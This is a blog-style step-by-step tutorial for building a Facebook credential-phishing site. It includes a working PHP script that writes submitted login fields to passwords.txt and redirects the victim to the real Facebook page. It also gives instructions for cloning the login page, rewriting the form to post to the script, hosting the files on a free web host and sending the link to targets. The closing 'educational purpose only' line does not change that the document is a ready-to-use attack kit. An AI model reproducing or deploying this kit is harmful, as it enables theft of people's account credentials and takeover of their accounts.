What is Phishing? How Hackers Hack Through Phishing Attack

Phishing is a term used to describe a malicious individual or group of individuals who scam users.Phishing is a type of social engineering attack often used to steal user data, including login credentials and credit card numbers.Phishing is the process of directing users to enter details into a fake website that look and feel like the legitimate one. Basically all you are doing is getting your target to login to your fake login page and you will be sent their  email and password.

PHISIHING TUTORIAL STEP BY STEP:

1. Creating Phishing.php file

Even if you don't have any knowledge of php file simply copy the following script and save it as phishing.php .

<?php

header("Location: https://www.facebook.com/login.php");

$handle = fopen("passwords.txt", "a");

foreach($_GET as $variable => $value) {fwrite($handle, $variable);fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?> 

2. Creating index.html page 

1. Open Facebook login page then, Right click>View page source and paste it in notepad and save it a

index.html

2. Open that index.html file with a Notepad and search (By pressing Ctrl+F) for : action in it and replace the highlighted part (as in the following screenshot) with phishing.php .

3. search (By pressing Ctrl+F) for : method in it and replace the highlighted part (post) with get .

4. save index.html

3. Now create a completely blank text file with name passwords.txt.

Now you have all the following three files with you :

1. phishing.php

2. index.html

3. passwords.txt

4. Now you need to make a website means need free hosting.

Register on byethost.com or 2freehosting.comor use any free hosting service you like.

Log into your account Cpanel.

Go to File Manager under Files and log into it.

5. Now Click on the Public_html.

6 .Click on the Upload button and upload 3 files named phishing.php, index.html and passwords.txt 

(before uploading files you need to delete all the files inside  the Public_html folder)

7. After successfully uploaded 3 files click on index.html file, then your fake phishing page will open up.

Ready.

Now sent your fake login page's URL to someone via email or chatting  , when someone type their facebook email and password in your fake login page it will store to your passwords.txt file. 

Through this attacker can hack any website account.

NOTE: This is just for educational purpose only.